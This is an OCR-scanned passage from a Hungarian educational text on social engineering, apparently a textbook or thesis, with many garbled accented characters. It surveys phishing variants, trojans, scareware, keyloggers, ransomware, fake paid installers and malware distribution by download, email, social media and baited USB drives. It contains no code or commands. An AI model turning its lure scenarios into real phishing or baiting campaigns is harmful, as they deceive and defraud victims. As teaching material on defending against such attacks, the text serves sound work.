a pénziigyi szektorban tevékenykedo cégek tligyfeleit fenyegeti. A tdmadas l1ényege altalaban, hogy az
tigyfelet egy hamis e-mailben és hamisitott, al-weboldalon probaljak meg ravenni, hogy jelentkezzen
be ¢s adja meg felhasznaldi nevét €s jelszavat, példaul adatfrissitésre vagy valamilyen rendellenes-
ségre hivatkozva. Gyakran eléfordul, hogy mindemellett felhivjdk a célszemély figyelmét arra is,
hogy amennyiben nem tesz eleget a kérésiiknek, akkor zarolhatjak a fiokjat, vagy valamilyen mas kar
érheti. Az efféle tamadésok az esetek tobbségében sikerrel is jarnak, mert a felhasznalok legtobbszor
nem olyan figyelmesek és tudatosak, hogy észrevegyék a csald oldal aprobb eltéréseit, igy gyantt-
lanul megadjak bizalmas adataikat (példaul internetbanki felhasznalonév-jelszo paros), melyeket a
tamadok biincselekmények elkdvetéséhez hasznalnak fel.

Nagyon sokan el szoktdk felejteni, hogy természetesen nem csak a bankok lehetnek vonzo cél-
pontok egy adathaldsz szamara, manapsag egyre tobbet hallhatunk arverési oldalak (példaul eBay),
sOt online jatékok (példaul World of Warcraft) ellen irdnyuld timadasokrol is, és nem szabad azt sem
elfelejteni, hogy barmilyen szervezet munkavallaloi is lehetnek adathaldszat célpontjai, tehat a tAma-
dok a szervezeti weboldal, vagy akdr intranetes feliilet lemasolasat is megvaldsithatjak, amennyiben
az 4all az érdekiikben.

% http://www.symantec.com/hu/hu/norton/library/article.jsp?aid=articlel 08 06 (utolso letoltés: 2008.12.07.)
10 http://www.nbh.hu/bmenu6pp.htm (utolso letdltés: 2008.11.15.)
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3.2.2. Vishing

A vishing az adathaldszat azon formédja, amely VoIP, valamint csevegd hal6zatokon terjed. Az interne-
tes telefonalasra €piilé tamadast a bankok azon javaslata ihlette, miszerint ha a felhasznalé adatha-
lasz-gyanus e-mailt kap, akkor telefonon keresztiil kérjen megerdsitést a banki tigyfélszolgalaton az
iizenet hitelességérdl. A telefon ,,hitelességét” kihasznalva, a timadok Ggy probaljak meg raszedni
az aldozatokat, hogy egy arra alkalmas program segitségével automatikusan végigtarcsazzak egy
adott korzetszam Osszes hivoszamat, és amennyiben a vonal tulsé végén van valamilyen reakcid
(felveszik, bekapcsol az iizenetrogzitd), egy gépi hang bemondja, hogy a tulajdonos bank- vagy
hitelkartyéja letiltasra keriilt, ezért hivja fel a bemondott telefonszamot a ,,probléma” megoldasa
végett. Mivel az ilyen jellegli csalasok még kevésbé ismertek, mint a hamis e-mail-eket alkalmazo
modszer, igy a felhasznalokban nem is meriil fel annak a gyantja, hogy a hivas valojdban nem a
banktol jott, foleg abban az esetben, ha az ligyfélszolgélat telefonszamaként megadott elérhetdség
még hasonlit is a bank tényleges telefonszamara. Amikor az tigyfél felhivja a szamot, akkor egy
szintén automatikus rendszer bekéri a felhasznalo nevét, kartydjanak szamat, valamint a régi €s 10j
PIN kodjat az ,,tjraaktivalashoz”.'"!

A vishing tdmadédsok manapsag gyakrabban tapasztalhatd formaja inkabb csevegd haldzatokon
gyljtoget jelszavakat (MSN Messengeren és Skype-on volt népszerti a korabbiakban). Ekkor az al-
dozat — legrosszabb esetben pont beszélgetés kozben — kap egy linket, latszolag a csevegOpartnerétol.
Ezt altalaban valamilyen kisérészoveg el6zi meg, mely legtobbszor angol nyelven arra tesz utalast,
hogy a cimzett nézze meg a partner altal erre az oldalra feltoltott képeket vagy egyéb tartalmakat.
A céloldalon persze a fajlok megtekintéséhez meg kell adni a csevegdprogramban hasznalt felhaszna-
lonevet és jelszot, majd ezutan lehet megtekinteni a feltoltott tartalmat — mar ha van. Mindenesetre a
felhasznal6 azonositdja €s jelszava mar rossz kezekbe keriilt, €s hamarosan 6 is hasonl6 felhivasokkal
fogja buzditani csevegdpartnereit jelszavuk kiadaséra... Annak érdekében, hogy a kiildott link ere-
dete még hihetébb legyen, a megtekintendd fajlokat tartalmazé tarhely nevében szerepeltetik vagy a
kiildd, vagy a fogadoé fél felhasznalonevét, hogy még inkabb gy tlinjon, az adott oldal a chat-partne-
rlinkhoz tartozik.

3.2.3. Smishing

Az el6z6 mddszerhez nagyon hasonlatos a smishing, vagyis az SMS-en keresztiil torténd adathalészat
technikdja is. Az Gtletet szintén a bankok biztonsagi 6vintézkedései adtak, miszerint némely pénzinté-
zetnél az utalds vagy online rendszerbe vald bejelentkezéshez elengedhetetlentil sziikséges egy SMS-
ben érkezo jelszd begépelése, illetve az aktualis szdmlaegyenleg is SMS-ben keriil megkiildésre a
tranzakcio6 végeztével. Ezek alapjan a timado, a vishinghez hasonléan, kiildhet egy olyan iizenetet az
aldozatnak, mely szerint a bankkartyéja zarolasra kertilt, €s bovebb informacidkat a megadott szamon
kérhet — ami pedig az elébb ismertetett moédon kicsalja a felhasznal6 bizalmas adatait.!%?

Mivel az SMS alapt banki értesités hazankban is elterjedt, ezért véleményem szerint Magyaror-
szagon az ilyen tipust csalds nagyobb valdsziniiséggel talal aldozatot, mint telefonos verzidja.

10 http://www.nbh.hu/bmenu6pp.html (utolsot let6lés: 2008.11.15.)
102 http.//www.nbh.hu/bmenu6pp.html (utolso letdltés: 2008.11.15.)
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3.2.4. Pharming

Megfigyelhettiik, hogy az el6z6ekben bemutatott modszerek mindegyike a felhasznalok megtéveszté-
sére, becsapasara, figyelmetlenségére épiilt, vagyis valamilyen szinten a sikerhez sziikséges a felhasz-
nald egyiittmiikddése. Mindezekkel ellentétben a pharming, vagyis eltéritéses adathalaszat annyiban
mas, hogy ezt a technikat alkalmazva a felhasznal6 legyen barmennyire eldvigyazatos ¢és figyelmes,
esélye sincsen, hogy észrevegye, valojaban egy al-oldalon jar. Eppen ezért ezt a modszert gyakran
Uj generacios phishing-nek, vagy az adathalaszat utédjanak is nevezik, ennek ellenére a teljesség
kedvéért a tananyagban mégis megemlitésre keriil, hiszen ez a mddszer is egy adathaldszati technika.
A pharming lényege, hogy a timadok nem a felhasznalot, hanem a DNS-szerverek sebezhetdségeit és
a bongészoprogramok befoltozatlan biztonsagi réseit kihasznalva az adott weboldal tényleges cimét
modositjak a helyi szamitogép vagy szerver alapa DNS Cache Poisioning, illetve Cross-Site Scrip-
ting modszerek valamelyikével.'®

3.2.5. Whaling

A pharming-hoz hasonléan a whaling is egy régebben megjelent tdmadasi forma, el6szor 2005-ben
hallatott magarol. Bar legtobben az adathaldszat alkategoridjaként tartjak nyilvan, kiilon pontban is
megallja a helyét. Az elnevezés ,,balnavadaszatnak” fordithato, talan egyben utalva arra, hogy ezzel a
technikaval a ,,nagy halakat”, vagyis a vallalatok vezetdit szeretnék megtéveszteni. A specialisan cég-
vezetOknek, kozépvezetoknek késziilt levelek (vagy akar telefonhivasok) altalaban iizleti partnerek
vagy allami intézmények nevében érkeznek. A timadoé ekkor azt hasznalja ki, hogy ezeket a leveleket
az esetek tobbségében a titkarsag kezeli, aki altalaban rogton tovabbitja azokat az illeté¢kesnek. Mivel
a levél, és vele egyilitt az utasitas ezaltal tulajdonképpen a vezetdségtdl érkezett, igy a munkatarsak-
ban fel sem meriil a csalas lehet6sége, és nem ellenkeznek a feladat végrehajtasa ellen.'™

3.3. Trdjai jellegii programok

Amennyiben a tdmadd szamitogépen keresztiil tervezi atverni aldozatat, kézenfekvének bizonyul
kiilonféle kartékony programok ,,segitségiil hivasa” is. Ezen célra leginkdbb az ugynevezett trdjai
falovak, trojai programok a legmegfelelobbek.

Ki ne ismerné a trojai falo torténetét... A trojai programok nem véletleniil kaptak neviiket a mito-
16giabol ismert falordl, ezek a kartékony programok ugyanis névadojukhoz hasonloan a felhasznalok
megtévesztésére, tudatlansdguk, johiszemuségiik vagy hiszékenységiik kihasznalasara alapoznak,
magukat valamilyen hasznosnak vagy érdekesnek tiinG programnak alcazva.'”® Nem keverendéek
Ossze a virusokkal, hiszen ezek az utobbiakkal szemben nem feltétleniil tartalmaznak kartékony ko-
dot, valamint nem is reprodukaljdk magukat. Céljuk altaladban a szamitogéphez valo illetéktelen hoz-
zaférés, kémkedés lehetéségének biztositasa.!%

Minden trojai programra jellemzd altalaban, hogy valamilyen érdekes (példaul képernydkiméld,
jatek) vagy hasznos (példaul biztonsagi frissités, virusirtd) programnak mutatkoznak. So6t, gyakran
elofordul az is, hogy a program tényleg az, aminek latszik, tehat valéban ellatja feladatat, viszont
rendelkezik bizonyos ,,karos mellékhatasokkal”, példaul billentylizet naploz6 funkcidval.

1
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> McAfee White Paper, 2006.

104 http://www.securifocus.com/portal.php?pagename=hir _obs reszlet&&i=19255 (utolso letdltés: 2018.03.12.)
Crume, 2003.

Szappanos, 2003.
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3.4. Al-virusirték (scareware)

gi termékek csoportja, 6sszefoglald neviikon a scareware-ek. Ahogyan az elnevezésiik is utal ra, ezek
a kartevok valamilyen virusirtd programnak, esetleg biztonsagi frissitésnek, vagy mas biztonsagi ter-
méknek alcdzzak magukat. Altalanos jellemzjiik, hogy ingyenesek (legalabbis kezdetben, mig nem
akarjdk meggydzni a felhasznalot a ,teljes verzid” megvasarlasarol), és semmilyen, vagy legalabbis
minimalis viruseltdvolitd képességgel rendelkeznek — viszont annadl tobb kartékony programot tol-
tenek le a szamitogépre. Az al-virusirtok egyik legismertebb példdja az egyik elséként megjelent
Antivirus XP 2008, de azota is el6fordul Gjabb tipusa, példaul hasonld program volt a Win 7 Internet
Security 2010, Vista Security 2012, Security Shield 2011 és még sok mas is. Eltavolitasuk roppant
koriilményes, hiszen nem kinaljak fel az Uninstall opciot, és altalaban a programok kozott sem talal-
hatéak meg egyértelmiien, és rendszerenként eltérd lehet — van amelyik csak manualis Giton torolhetd
(megkeresve a torlendd alloméanyokat), masokra készitettek eltavolitdé programot. Ezen kiviil az el-
tavolitast megnehezitheti, hogy bizonyos tipusok blokkoljadk az internetkapcsolatot, vagy legalabbis
virusvédelmi oldalak elérhetdségét is (ezaltal amennyiben valds virusvédelmi rendszerrel rendelke-
ziink, annak frissitését is ellehetetlenitik, nehogy észlelhetd legyen az al-virusirtd mikddése), igy a
megoldas beszerzéséhez egy kartevomentes gépre is sziikség lehet.

3.5. Reverse social engineering virusok

A Reverse Social Engineering virusok annyiban kiilonboznek mas megtévesztésre alapozé kartevok-
tdl, hogy teljesen hétkdznapi e-mail-nek és csatolmanyéanak alcazzak magukat. A legtobb ily modon
terjedo kartevo ugyanis altaldban valamilyen ,,szenzacios” targymegjeloléssel ellatott levélben érke-
zik. Ezzel szemben a forditott Social Engineering technikét alkalmazé tdmado teljesen hétkoznapi
targgyal, valdszerti melléklettel kiildi el tizenetét.

A Reverse Social Engineering virusok egyik legjobb péld4ja a My Party névre keresztelt féreg.
A program 2002. januar 25. és 29. kozott terjedt ,,new photos from my party” targyu levelekben, és
allitélag a cimzett legutobbi bulijan késziilt fotokat tartalmazta mellékelve. Hogy a levél teljesen
hitelesnek tlinjon, a virus a felhasznalo Outlookjaban tarolt ismerdseinek kiildte el magat, ezaltal az
aldozatuk tényleg konnyebben elhitték, hogy a levél valoban a baratjuktdl érkezett. A csatolt fajl a
www.myparty.yahoo.com névre hallgatott, igy a gyanutlan felhasznal6 szemében egy artalmatlan
weboldalnak tlinhetett. Sok felhasznalonak ugyanis nem jutott eszébe, hogy a .com kiterjesztésii faj-
lok futtathaté allomanyok, igy a csaldka cim miatt naivan megnyitottak, mint weboldalt. Ezek utan
a program, azon kiviil, hogy tovabbkiildte magat, egyuttal egy backdoort is nyitott a szamitogépen,
mely lehetdséget biztositott a tAmadonak tovabbi visszaélések elkovetéséhez.
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3.6. Billentyiizet naplozok (keyloggerek)

A keyloggerek (vagyis teljes angol neviikon keystroke loggerek) olyan billentylizet-napldéz6 progra-
mok, amelyek a felhasznalo altal begépelt karaktereket rogzitik annak tudta nélkiil, majd elkiildik a
tamadonak, aki ebben kis bongészés utan rabukkanhat egy-egy jelszora, vagy mas bizalmas informéci-
ora. A hasznalt programtol fiiggden lehetdség van annak bedéllitasara, hogy a rogzités milyen iddinter-
vallumban torténjen. Vannak programok, melyek azt is lehetdvé teszik, hogy a rogzités ne idore, hanem
példéaul egy bizonyos karaktersorozat leiitésére induljon, de a naplozas akar mar a rendszer betoltddése
el6tt is megtorténhet.'” A legtijabb programok akar a monitor képének ,,lelopasara” is képesek.

07 http://www.internetnews.com/dev-news/artilce.php?96274 (utolso letoltés: 2008.11.15.)

108 Mitnick, 2006.
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Megjegyzendd azonban, hogy a szoftveres mellett hardveres keyloggerek is 1éteznek. Ezek ugyan-
azt szolgaljak, mint el6bb bemutatott tarsaik, annyi kiilonbséggel, hogy az alabbi képen lathato, vagy
legalabbis ahhoz nagyon hasonl6 kis eszkozt kell a szamitogép megfeleld PS/2-es (vagy USB) portja
¢s a billentylizet csatlakozoja k6zé helyezni. A hardveres keylogger elénye a szoftveressel szemben,
hogy nem igényel telepitést, tehat egy, az aldozat irod4jaba bejutd social engineer kdnnyebben és
gyorsabban elhelyezheti.

3.7. Tuszejto programok (ransomware)

A tuszejté programok vagy zsarolovirusok (ransomware-ek) tulajdonképpen nem is annyira Gjkeleti
kartevok, tulajdonképpen az elsd kartékony programok kozott jelentek meg. Ezek célja akkoriban
nem kifejezetten a karokozas volt, a virusir6é sokkal inkébb ,,eréfitogtatas™ céljabol, annak bizonyi-
tasaként készitette el kezdetben a kartékony koédot, hogy bebizonyitsa, lehet ilyen programokat is
késziteni. Az elsé virusok éppen ezért inkabb vicces vagy bosszantd dolgokat produkaltak, példaul
lepotyogtak a betiik a dokumentumbol, vagy egy pillang6 szallt at a képernydn — de egyéb kart nem
tettek a rendszerben. Természetesen azért mar ekkor is voltak olyan rossz indulati tdmadok, akik
kartékony céllal irtak meg programjukat, példaul miikodésképtelenné tették a rendszert, vagy fajlokat
tordltek a merevlemezrdl. Az ilyen jellegli kartékony kodok mogott késdbb az anyagi haszonszerzés
is megjelent, és megjelentek olyan virusok is, melyek ,tuszul ejtették” az dldozat merevlemezén
tarolt fajlokat, azaz 6sszetomoritették azokat egy mappaba, majd egy jelszdval titkositottak azt. A fel-
hasznal6 pedig csak abban az esetben kapta meg az adllomédnyok kitomdritéséhez sziikséges jelszot,
amennyiben kifizette a tamado altal kért 6sszeget. Az ilyen mdédon miikodo kartékony programokat
ransomware-nek nevezik az angol szakirodalomban. Az elsé ilyen kartevé a PC Cyborg Trojan volt
még 1989-ben, de 2005-t81 a modszer egyre fejlettebb valtozatai jelennek meg (ilyen elven miikodd
ujabb kartevok voltak példaul az Archiveus, Krotten, Cryzip, MayArchive stb.).

12. abra: CryptoLocker ransomware
Kép forrasa: https://www.ophtek.com/the-most-malicious-virus-of-2013-cryptolocker/
(utolso letoltés: 2018.03.12.)
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A legutdbbi jelentdsebb ransomware kampany 2017-ben a WannaCry,'” illetve a Petya zsarolo-
virus volt.'?

3.8. Hamis szoftver-telepitok (paid archives)

A hamis szoftver-telepitok a 2009-2010-es években jelentek meg, céljuk szintén nem a rendszerben
torténd karokozas, hanem, hogy ravegyék a gyanutlan és hiszékeny felhasznalokat a tdmado altal
kért osszeg kifizetésére. Ezeket nevezik ,,paid archive”-eknek is, melyek olyan 6n-kicsomagol6 allo-
manyok, amiket csak fizetés utan lehet kicsomagolni. Altaldban valamilyen (tSbbnyire) ingyenesen
letdlthetd, valos, hiteles program (példaul Skype, Adobe Flash Player, bongészd, Microsoft termék,
tomoritd program, zenelejatszo stb.) telepitéjének tlinnek.

Egy ilyen jellegli atverés megvalositdsdhoz 1éteznek eldre készitett, a weben elérhetd eszk6zok
(builder-ek), ezeket barki hasznalhatja regisztracid és némi jutalék ellenében. A tamadé az ez altal
biztositott, elére gyartott sablonokbol (template-ekbdl) konnyedén ki tudja valasztani, hogy mely
valds szoftver nevével szeretne visszaélni. Ilyen builder-eszk6zok példaul a ZipMonster, ZipPro,
ZipArchive, ProWap stb.

13. abra: Hamis szoftver telepitd osszeallitasa
Kép forrasa: http://www.dataprotectioncenter.com/antivirus/microsoft/easy-money-programwin32pa-
meseg-part-one/ (utolso letoltés: 2018.03.12)

A hamis program telepitése kisértetiesen megegyezik az eredeti verzidéval, azonban a telepités végén
egy extra lépésben megprobaljak ravenni a felhasznalot, hogy vasarolja meg, vagy aktivalja a szoft-
vert. Az aktivalas torténhet emelt dijas SMS-ben (a felhasznal6 az altala megadott mobil szamra kap
egy lizenetet valamilyen ,,ellendrz6 kérdéssel”, példaul sziiletési datummal, melyre egy ingyenesnek
igért, valgjaban azonban emelt dijas SMS-ben kell valaszolnia, hogy megkapja az aktivald kodot)

19 http://tech.cert-hungary.hu/tech-blog/170513/az-smb-serulekenyseget-kihasznalo-wannacry-ransomware-kampany
(utolso letoltés: 2018.03.17.)
10 http://antivirus.blog.hu/2017/06/28/return_of the petya (utolsé let6ltés: 2018.03.17.)
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vagy online fizetéssel is. Miutan az aktivalas vagy fizetés megtortént, a valojaban ingyenes program
kicsomagolasra és telepitésre keriil.""!

14. abra: Hamis szoftver telepité miikodés kozben
Kép forrasa: http://www.dataprotectioncenter.com/antivirus/microsoft/easy-money-programwin32pa-
meseg-part-one/ (utolso letéltés: 2018.03.12.)

3.9. Terjesztési modszerek

A kartékony programok terjesztésének tobbféle modja is 1étezik, mely a felhasznalok figyelmetlen-
ségét, biztonsdgtudatossdganak hidnyat, vagy épp kivancsisagat hasznalja ki. Ezek az alabbiakban
keriilnek bemutatasra.

3.9.1. Letoltés

Az egyik leggyakoribb eset, amikor a kartékony programot kiilonb6zd kétes eredetii, kiilonféle letol-
téseket biztositd oldalakrol toltjlik le. Ezek az oldalak altaldban ingyen kinalnak csabito képeket, vi-
dedkat, zenét stb. Azonban, amikor ezeket a tartalmakat a gyanutlan felhasznal6 letolti, egy kartékony
program is letoltddik, illetve feltelepiil a gépére. Természetesen az ilyen jellegii oldalakra nem kell

1 Chernyshev, Chipiristeanu, 2012.
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feltétleniil magunktol ratalalnunk, elérhetdségiikrdl akaratlanul is kaphatunk értesitést e-mail-ben
vagy csevegdprogramon keresztiil.

A tamadasnak 4 altipusa, illetve forgatokonyve képzelhetd el, annak fliggvényében, hogy a kar-
tékony kod letoltddéséhez €s futdsahoz mennyire sziikséges a felhasznald kozremikodése. (Oroszi,
2012)

3.9.1.1. Weboldal latogatasa soran észrevétleniil, automatikusan letéltodik és lefut

A legrosszabb esetben a karté¢kony kod lefutasdhoz elegendd az azt terjesztd weboldal meglatogatasa.
A felhasznalonak nem kell semmilyen bévitményt engedélyeznie, semmilyen f3jlt letdltenie, egysze-
rlien csak meglatogatni az adott oldalt, a kartékony program automatikusan €s észrevétleniil megkez-
di miikddését, a felhasznalonak gyakorlatilag nincsen lehetdsége €szlelni a tdimadast, csak megeldzni
tudja azaltal, hogy gyanus oldalakat nem latogat meg.

3.9.1.2. Weblap latogatasa soran engedélyezés utan letoltodik és lefut

Egy fokkal szerencsésebb annak az esete, amikor a kartékony kod nem tud automatikusan lefutni az
oldal meglatogatasakor, hanem valamilyen mddon a felhasznalo beleegyezését kérni, példaul az al-
dozatnak engedélyeznie kell a felugré ablakban a kod futasat (példaul Java alkalmazéasok esetében).

Ebben az esetben egy biztonsagtudatosabb felhasznald észlelheti, hogy az oldal a megszokottol
eltéréen mukodik, €s a ,,Mégsem” gomb valasztasaval még van lehetdsége megeldzni a sikeres tdma-
dast. Sajnos azonban tapasztalataink szerint a felhasznalok tobbsége a felbukkano ,.hibaiizeneteket”
— figyelmetlenségbdl, nemtorédomségbol, vagy tudatlansagbol — el sem olvasva nyugtdzza az ,,OK”
gombbal, engedélyezve ezzel akar kartékony kodok lefutdsat is.

3.9.1.3. Letoltés soran a fertozott fajllal észrevétleniil letoltodik (fertozott fajl letoltése)

Eléfordulhat az a szituéci6 is, amikor a kartékony kod letdltéséhez és lefutasahoz nem elegendd a
weboldalanak megtekintése, hanem a kartevd az oldalrdl letoltott mas fajlhoz kapcesolodik, és azzal
egyiitt keriil észrevétleniil letoltésre, a felhasznalo tudta nélkiil. Ilyen elven miikédnek a klasszikus
virusok, melyek terjedéséhez valamilyen ,,gazdafajl” sziikséges. Social Engineering szempontjabol
ennek a fajlnak kell valami vonzo6 tulajdonsaggal rendelkeznie, mely arra buzditja a felhasznalot,
hogy toltse le, példaul valamilyen 0j film, slagerlistat vezetd zene, érdekes program vagy jaték stb.

3.9.1.4. Letoltés soran a felhasznalo beleegyezésével telepiil

Elsésorban reklamprogramok, vagy mas kiegészitd alkalmazéasok (példaul toolbar) esetében jellem-
70, hogy a felhasznalonak lehetdsége nyilik egy, egyébként fizetds szoftver ingyenes hasznalatara,
amennyiben hozzajarul, hogy az alkalmazas mellett egy, legélis esetben csak reklamprogram tele-
piiljon, amely példaul a felhasznalé internetezési szokasairdl kiild adatokat a kereskeddnek vagy
fejlesztd cégnek, annak érdekében, hogy minél célzottabb hirdetésekkel keressék meg az aldozatot.

Legtobb esetben ezen kiegészitd programok telepiilését egy checkbox kipipalasaval maga a fel-
hasznal6 dontheti el, el6fordul azonban, hogy a kéretlen program telepiilése az eredeti szoftver licenc
szerz6désnek aprobetlis részében keriil rogzitésre — melyet a felhasznalok tobbsége nem olvas el.

Nem zarhato6 ki azonban annak esete sem, hogy egy art6 szandéku tdamado ilyen modon nem egy
artalmatlan reklamprogram, hanem valamilyen kémprogram vagy mas kartevo telepitésére birja ra a
gyanutlan aldozatot.
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3.9.2. E-mailen keresztiili terjesztés

A masik kedvelt kartékony program terjesztési modszer az e-mail mellékletként valo kiildés. Ezeknek
a leveleknek a targya altalaban valamilyen csabito téma, lehet példaul jaték, sport vagy szexualis tar-
talom stb. —hogy a célszemély biztosan megnézze a melléklet tartalmat. I[ly modon terjedd ismertebb
kartevok voltak az I Love You és az Anna Kournikova virusok. Utobbi esetében a tamadok a tenisz-
csillag képeinek vonzerejét kihasznalva birtak ra tobb millié felhasznalot a terjesztésére. Erdekessége
volt, hogy a fert6zott szamitogépekben nem tett kart, csak a felhasznaldé Outlookjéban levé partne-
reknek kiildte szét magat, valamint 2006. janudr 26.-an egy szamitastechnikai szakiizlet honlapjat
nyitotta meg — vagyis célja nem kifejezetten a rombolas, hanem inkabb a levelezés leterhelése volt.!'?

Persze manapsag, hogy a legtobb ember hallott mar a kiilonféle szenzacidkra hivatkozo, fertdzott
melléklette]l rendelkezd e-mail-ekrdl, az igazan kifinomult tdmadok leginkabb teljesen hétkdznapi
levélnek és csatolmanyanak alcazzak a kiildott kartékony programjukat, mint tették azt példaul a
»MyParty” féreg készitéi is 2005-ben, mely esetben a levél targya arra vald utalas volt, hogy a cimzett
nézze meg a kiildo fél bulijan késziilt fényképeket, a csatolmanya pedig a www.myparty.yahoo.com
megtéveszto nevii futtathatd allomany volt.'?

Az e-mail-en keresztiili terjesztés soran a tamado a kartékony kodot csatolmanyként, vagy link-
ként is elkiildheti a célszemélyeknek.

Attol fiiggden, hogy a tdmadd milyen széles korben, mennyire célzottan szeretné a kartékony ko-
dot terjeszteni, az elektronikus levelek kikiildésének tobbféle forgatokonyve képzelhetd el, ezeket az
alabbi alpontokban mutatom be.!'*

3.9.2.1. Reklam vagy figyelemfelkelto leveél

A legegyszeriibb mddszer a kartékony programok terjesztésére, ha a tamado valamilyen egyszert,
mindenkit érdekld reklamlevélben célozza meg aldozatait. Mint ahogyan a reklamlevelek altalaban,
ezen levelek sem egy konkrét személyt6l, hanem valamilyen kitalalt szervezett6l, vagy valds cég
nevében érkeznek.

A modszer elénye, hogy a tdmadas eldkészitése viszonylag kevés idot és erdfeszitést igényel,
ugyanakkor elég széles korti tomeget lehet megcélozni vele. Témaja lehet valamilyen szenzécid (pél-
daul csabité képek, ingyenes zene ¢€s filmletdltés kindlata), vagy akar teljesen hétkdznapi dolog is,
példaul egy 10j pizzéria akcidja.

3.9.2.2. Eltevedt levél

Eldfordulhat azon eset is, amikor a tamado egy ismeretlen személytdl érkezd, rossz cimre kiildott
levélnek 4lcazza megkeresését. Ebben az esetben megprobalja felkelteni az dldozata kivancsisagat a
masnak sz610 bizalmas levéllel kapcsolatban. Kiildhet példaul képet, vagy akar egy megigért munka-
dokumentumot, de akar jelszot és elérési informaciokat egy ingyenes letoltést biztositd oldalhoz is.

3.9.2.3. Idegen, de hiheto személytol/szervezettol érkezo leveél

A harmadik esetben a tamadé egy valos, hiteles személynek vagy szervezetnek tlind feladd nevében
kiildi el megkeresését, melynek célja lehet elsd 1épésben akar csak a kapcsolat kiépitése. Ezen katego-
ria inkabb a célzottabb tdmadasok koz¢ sorolhato, hiszen a megkeresés tartalma elsésorban az aldo-
zat személyéhez, munk4jdhoz, vagy érdeklddési koréhez kapcesolodik. A tdmadés soran eldfordulhat,

12 http://www.sg.hu/cikkek/14602/anna_kournikova a virus (utolso letoltés: 2018.03.12.)
13 http://www.virushirado.hu/leiras.php?id=350 (utolsé let6ltés: 2018.03.12.)
14 QOroszi, 2012.
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hogy tobb levélvaltas is torténik a felek kozott, €s a kartékony kodot tartalmazd csatolmany vagy link
csak egy késObbi megkeresésben jelenik meg.

3.9.2.4. Ismerostol érkezo level

A leghihet6bb forgatokonyv, ha egy ismerdstol érkezik a kartékony programot tartalmazé levél. Ez
harom moédon valosulhat meg:

* Hamisitott levél: a timado egy ismerds személy nevében hamisit elektronikus levelet, és
ugy kiildi el a kartékony kodot tartalmazo mellékletet vagy linket. Természetesen nem fel-
tétleniil sziikséges e-mail cim hamisitassal bajlodni, egy ingyenes tarhelyen készitett fiok is
tokéletesen megfeleld lehet a fajlok bekiildésére — hiszen barkinek barmennyi e-mail fidkja
lehet kiilonb6z0d ingyenes szolgéltatonal, lehetetlen lenyomozni, hogy az adott fiok tényleg az
illetdhoz tartozik-e.

* Automatikus tovabbitds: maga a kartékony program tartalmazza azon funkcidt, hogy au-
tomatikusan, észrevétleniil tovabbitsa magat az dldozat cimtaraban taldlhatd ismerdsoknek
— ezesetben széles korben, kevésbé célzottan hajthato végre a karokozas.

* A célszemély 6nként, gyanutlanul tovabbitja a levelet: magat a felhaszndlot gydzziik meg
arrdl, hogy tovabbitsa ismerdseinek a kapott fajlt — a lanclevelekhez, hoax-okhoz hasonldan.

3.9.3. Kozosségi média feliileten keresztiili terjesztés

A kozosségi média megjelenésével az elektronikus levelekben torténd terjesztés mellett 0 feliiletként
jelent meg, hogy a tamado ezeken a portalokon keresztiil teszi k6zz¢é a kartékony kodot tartalmazo
fajlt vagy az arra mutato oldal linkjét.'"> A kartékony tartalom elhelyezhet6 a kovetkezé modokon:

«  Al-profilon vagy hamisitott profilon keresztiili megosztas (postolas)

» (Célszemeélyek profiljara torténd postolas al-profillal

» (Célszemélyek megjelolése (tagelés) kartékony tartalommal rendelkezé megosztasban

* Célcsoportba csatlakozas és csoporton beliili kozzététel

«  Al-csoport létrehozasa és azon keresztiili megosztas

+  Kozosségi oldali applikaciok, jatékok

» Kozosségi oldalon keresztiil kiildott tizenetek

A terjesztés forgatokonyvei megegyeznek az el6z6 fejezetben ismertetettekkel. E16bbivel szemben
a kozosségi médian keresztiili terjesztés elénye, hogy ezen feliiletek irant nagyobb a felhasznalok
bizalma. Mig az elektronikus levélben érkezd, nem célzott, gyanus tartalmakat a munkavallalok tu-
datosabb része ki tudja sziirni, addig a kozosségi média oldalakon ezen technikdk még mindig Gjdon-
sadgnak szamitanak.

3.9.4. Kartékony kod terjesztése adathordozon

A kértékony programok terjesztésének harmadik nagy kategoridja, amikor valamilyen adathordozora
irja ki a tdmado a kartékony kodot tartalmazo fajlt. Ez lehet CD/DVD, vagy pendrive, s6t memori-
akartya, MP3-lejatszé vagy akar egy fényképezOgép is. Az, hogy a tdmadas soran milyen adathor-
dozok keriilnek alkalmazasra els@sorban a célszemélyek kore, illetve az alkalmazott forgatokonyv
hatarozza meg. A CD/DVD eldnye elsdsorban az ara, hiszen egy optikai adathordozo 1ényegesen
olcsobban szerezhetd be, mint egy pendrive. Eszlelés szempontjabol szintén pozitiv tulajdonsaga,

15 https://www.zerofox.com/blog/top-9-social-media-threats-2015/ (utolso letdltés: 2018.03.12.)
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hogy az adathordoz¢ feliiletén fel Iehet tiintetni a tartalmara vonatkozo6 leirast, képet, mely 6sztonzi a
felhasznalot a tartalom megtekintésére.

A pendrive-ok elszérdsa ugyan koltségesebb megoldas, eldnydsebb lehet azonban olyan helyzet-
ben, amikor a kartékony kod lefutasahoz elegendd az eszkoz csatlakoztatdsa a szamitogéphez. Be-
csliletesebb felhasznald mar csak abbol a célbdl is szeretné megtekinteni a pendrive tartalmat, hogy
esetleg abban rabukkanhat az adathordoz6 jogos tulajdonosara, de motivalhatja a megtalalot az is,
ha valamilyen feltlindbb, nagy tarold kapacitasu eszkozt talal, melyet késObb sajat célra hasznalhat.

Adathordozon torténd kartékony program terjesztésnek az alabbi alpontokban bemutatott forgato-
konyvei képzelhetdk el, a tamado a célszemélyek szamatol és kijelolésétdl fiiggden donthet az adat-
hordozok ,elvesztése”, vagy elosztogatasa, postan valo bekiildése mellett.''s

3.9.4.1. Elhagyott adathordozo (BAITING)

A kértékony programok terjesztésének egyik nemrégiben megjelent modszere a ,,Road Apple”-nek
vagy baiting-nek nevezett technika. Ekkor a tamadoé egy fert6zott adathordozot (CD, DVD, pendrive,
MP3 lejatsz6, memoriakartya, sét akar egy fényképezogép) egy nyilvanos (és persze a célszemélyhez
kozeli) helyen ,elveszit”. A csalit valaki el6bb-utobb megtaldlja és megnézi a tartalmat — mivel CD/
DVD esetén a timado valamilyen érdekes cimmel cimkézi fel az adathordozot (példaul bizalmas in-
formaciora vagy szexualis tartalomra célozva), pendrive esetén pedig csabitd lehet, hogy megtarthat-
juk, igy garantalt, hogy behelyezik a gépbe. Amint ez megtorténik, a program megkezdi mitkodését.

A triikkk természetesen pendrive-okkal is tokéletesen mitkddik. A HVG 2008. aprilis 19.-1 szdma-
ban egy konkrét esetrdl is olvashattunk, amikor biztonsdgi audit soran egy magyar cég informatikai
